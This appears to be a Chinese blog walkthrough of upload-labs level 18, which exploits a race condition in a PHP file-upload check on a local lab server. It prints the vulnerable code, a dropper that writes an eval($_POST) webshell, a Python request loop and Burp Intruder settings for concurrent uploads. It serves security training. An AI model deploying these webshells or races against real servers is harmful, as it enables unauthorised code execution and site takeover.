当前位置: 首页 > news >正文

upload-labs通关笔记-第18关文件上传之条件竞争

目录

一、条件竞争

二、源码分析

1、源码分析

2、攻击原理

3、渗透思路

 三、实战渗透

1、构造脚本

2、获取上传脚本URL

3、构造访问母狼脚本的Python代码

4、bp不断并发上传母狼脚本

(1)开启专业版bp

(2) 上传母狼脚本发送到intruder

(3)配置intruder位置

(4)配置intruder负载

(5)配置intruder线程

(6)intruder开始攻击

5、执行访问母狼脚本

6、访问小狼脚本 


本文通过《upload-labs通关笔记-第18关文件上传之条件竞争》系列。文件上传条件竞争是一种在文件上传过程中利用并发操作导致的时间差来绕过安全限制的攻击方式,本节进行条件竞争绕过渗透实战。

一、条件竞争

条件竞争(Race Condition Vulnerability)在文件上传的应用场景中是一种常见的安全问题,其核心原理是利用系统处理文件时的"检查-使用"时间差(Time-of-Check to Time-of-Use, TOCTOU)进行攻击。其基本工作原理如下所示。

(1)正常上传流程

  • 服务器检查文件合法性(扩展名、内容类型等)
  • 服务器将文件保存到指定位置
  • 服务器对文件进行后续处理(如重命名、移动或删除)

(2)原因

  • 在"检查"和"最终处理"之间存在时间窗口
  • 攻击者可在这个时间间隙内进行操作

二、源码分析

打开靶场第18关,查看源码,分析可知文件上传的处理流程是先被传到服务器,然后根据后缀是否在白名单中,如果不在则删掉文件。具体代码如下所示。

1、源码分析

很明显代码存在条件竞争安全风险,主要原因在于文件移动和文件类型检查这两个操作不是原子操作,中间存在时间间隔,攻击者可以利用这个时间间隔进行攻击。详细注释后的代码如下所示。 

<?php
// 初始化变量 $is_upload,用于标记文件是否上传成功,初始值为 false 表示尚未成功上传
$is_upload = false;
// 初始化变量 $msg,用于存储上传过程中的提示信息,初始值为 null 表示暂无提示信息
$msg = null;// 检查是否通过 POST 方式提交了名为 'submit' 的表单元素
// 如果提交了,说明用户触发了文件上传操作,进入后续处理逻辑
if (isset($_POST['submit'])) {// 定义一个数组 $ext_arr,存储允许上传的文件扩展名$ext_arr = array('jpg', 'png', 'gif');// 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 从文件名中提取文件扩展名// strrpos($file_name, ".") 用于查找文件名中最后一个点号的位置// substr($file_name, strrpos($file_name, ".") + 1) 从最后一个点号的下一个位置开始截取字符串,得到文件扩展名$file_ext = substr($file_name, strrpos($file_name, ".") + 1);// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {// 检查提取的文件扩展名是否在允许的扩展名数组中if (in_array($file_ext, $ext_arr)) {// 如果扩展名合法,拼接一个新的文件名// rand(10, 99) 生成一个 10 到 99 之间的随机整数// date("YmdHis") 获取当前的日期和时间,格式为年月日时分秒// 最后拼接上文件扩展名$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;// 将之前移动到目标路径的文件重命名为新的文件名rename($upload_file, $img_path);// 将 $is_upload 标记为 true,表示文件上传成功$is_upload = true;} else {// 如果扩展名不合法,将提示信息 $msg 设置为只允许上传指定类型的文件$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除已经移动到目标路径的文件unlink($upload_file);}} else {// 如果文件移动失败,将提示信息 $msg 设置为上传出错$msg = '上传出错!';}
}
?>

2、攻击原理

 根据源码可知本关卡服务器的处理流程有条件竞争安全风险,具体原理如下所示。

  1. 文件移动:代码先使用move_uploaded_file函数将上传的临时文件移动到目标目录,此时文件已经被放置在目标目录中,但还未进行文件类型检查。
  2. 时间间隔:在文件移动完成后,代码才开始检查文件扩展名是否合法。在这个时间间隔内,攻击者可以利用多线程或脚本快速地多次上传文件,并且在服务器进行文件类型检查之前,修改服务器上文件的扩展名或内容。
  3. 绕过检查:如果攻击者在文件类型检查之前将文件扩展名修改为合法的扩展名,或者利用文件包含访问图片马等方式让服务器以恶意代码的形式执行文件,就可以绕过文件类型检查,实现恶意文件的上传和执行。

3、渗透思路

利用上传到服务器和判断不在黑名单被删除的时间差进行webshell上传。即攻击者上传一个包含恶意代码的 .php 文件(我们称之为母狼脚本),服务器将其移动到目标目录。在服务器进行文件类型检查之前,攻击者通过脚本执行生成一个新的脚本(我们称之为小狼脚本),这样在后续的扩展名检查中,虽然母狼脚本因检查不合格被删除,但是小狼脚本却没有被检查而存储在服务器中被认为是合法文件,从而绕过了安全检查,这样我们访问小狼脚本恶意代码就有可能被执行。

总结起来就是上传木马1(母狼)成功,木马1(母狼)还没被删掉的时间差过程中,成功访问木马文1(母狼)。这个木马文件1(母狼)的特点是可以生成一句话小木马2(小狼),如果在时间差内访问成功上传的这个木1(母狼),即可生成一句话小木马2(小狼)。这样不断地并发上传母狼脚本,接下来不断地并发访问母狼脚本,由于服务器是先存储母狼脚本然后检查母狼的合法性再杀掉,只要利用时间差在服务器杀死母狼之前让母狼脚本可以生成小狼脚本,即可通过访问小狼脚本实现渗透

 三、实战渗透

1、构造脚本

构造文件上传的shell脚本(脚本1,母狼,命名为ljn_shell.php),内容为post马。脚本内容如下所示。

<?php fputs(fopen('ljn_post.php','w'),'<?php @eval($_POST[ljn]);?>');?>

 此函数用于写入或创建一个名为 ljn_post.php 的文件(脚本2,小狼)。如果文件不存在,将会创建一个名为ljn_post.php新的文件,脚本内容如下所示。

    <?php @eval($_POST[ljn]);?>

    2、获取上传脚本URL

    对于上传到服务器的母狼脚本ljn_shell.php,相关源码处理如下所示。

        // 获取用户上传文件的原始文件名$file_name = $_FILES['upload_file']['name'];// 获取上传文件在服务器临时存储的路径$temp_file = $_FILES['upload_file']['tmp_name'];// 拼接上传文件在目标目录中的完整路径// UPLOAD_PATH 是预定义的上传文件保存目录$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件从临时存储路径移动到目标路径// move_uploaded_file 是 PHP 内置函数,用于处理文件上传移动操作if (move_uploaded_file($temp_file, $upload_file)) {}

    分析可知文件上传到服务器的URL根据如下代码决定,由upload目录与文件名拼接。

    upload_file = UPLOAD_PATH . '/' . $file_name

    根据源码可知$file_name为上传文件名,假如要传的源码为ljn_shell.php,那么存储在upload/目录下,那么母狼脚本1的URL链接地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_shell.php

    同理,母狼ljn_shell.php生成的小狼脚本ljn_post.php生成在同一目录,故而小狼脚本文件的完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    3、构造访问母狼脚本的Python代码

    这段代码的功能是不断的并发访问母狼脚本ljn_shell.php,希望可以利用时间差在服务器检查后缀判断其不在白名单删除母狼前,使得母狼脚本ljn_shell.php可以成功执行生成小狼脚本ljn_post.php。

    import requests
    url = "http://127.0.0.1/upload-labs/upload/ljn_shell.php"
    while True:html = requests.get(url)if html.status_code == 200:print("OK")breakelse:print("NO")
    

    4、bp不断并发上传母狼脚本

    (1)开启专业版bp

    浏览器开启代理,burpsuite注意要选用专业版)打开拦截功能。

    (2) 上传母狼脚本发送到intruder

    点击上传后报文被bp拦截,右键发送到intruder,如下所示。

    (3)配置intruder位置

    选择狙击手模式清空所有负载,具体如下所示。

    (4)配置intruder负载

    接下来配置payloads,选择null payload并选择continue indefinitely,具体如下所示。 

    (5)配置intruder线程

    在intrude里面,选择resource pool下面有个create new source pool可以重新设置线程数,我们勾选maximum concurrent requests,并且进行参数的设置,这里我选择了10个线程,大家可以根据自己机器的配置进行设置。

    (6)intruder开始攻击

    攻击后的效果如下所示。

    5、执行访问母狼脚本

    运行执行3.3的python脚本,看到ok说明渗透成功效果如下所示。

    此时说明渗透成功,母狼脚本访问成功,生成了小狼脚本ljn_post.php。此时关闭bp的intruder,如下所示。

    6、访问小狼脚本 

    上传到服务器的母狼脚本访问成功,生成了小狼脚本ljn_post.php,完整URL地址如下所示。

    http://127.0.0.1/upload-labs/upload/ljn_post.php

    POST参数设置进行如下code设置,如下图所示渗透成功。

    ljn=phpinfo();

    http://www.xdnf.cn/news/590941.html

    相关文章:

  1. 数据结构篇--二项队列
  2. linux服务器查看端口是否被占用
  3. 5月22日复盘-YOLOV5
  4. SQLServer与MySQL数据迁移案例解析
  5. fscan教程1-存活主机探测与端口扫描
  6. Android 添加系统服务的完整流程
  7. JavaScript【9】ES语法
  8. 阿里云 Serverless 助力海牙湾构建弹性、高效、智能的 AI 数字化平台
  9. 新手到资深的Java开发编码规范
  10. Python爬虫实战:研究Crawley 框架相关技术
  11. 【Java Web】1.Maven
  12. Docker常用命令介绍
  13. upload-labs靶场通关详解:第14关
  14. PyQt学习系列01-框架概述与基础环境搭建
  15. 25.5.22学习总结
  16. MCP Server Tool 开发学习文档
  17. 国产数据库:tidb专题
  18. 微信小程序 隐私协议弹窗授权
  19. Git分支的强制回滚
  20. 辽宁省工程系列信息通信管理专业职称评审标准
  21. 国芯思辰| 高精度线性霍尔传感器AH693在角度位置传感器中的应用
  22. 【机器学习】欠拟合、过拟合和正则化
  23. ARM Linux远程调试
  24. day 33简单的神经网络
  25. Linux `wc` 命令深度解析与高阶应用指南
  26. 计算机网络——Session、Cookie 和 Token
  27. Bert预训练任务-MLM/NSP
  28. 数仓SQL投影介绍
  29. 小米2025年校招笔试真题手撕(一)
  30. 基于企业数字化转型战略的数据治理方法论与顶层设计思路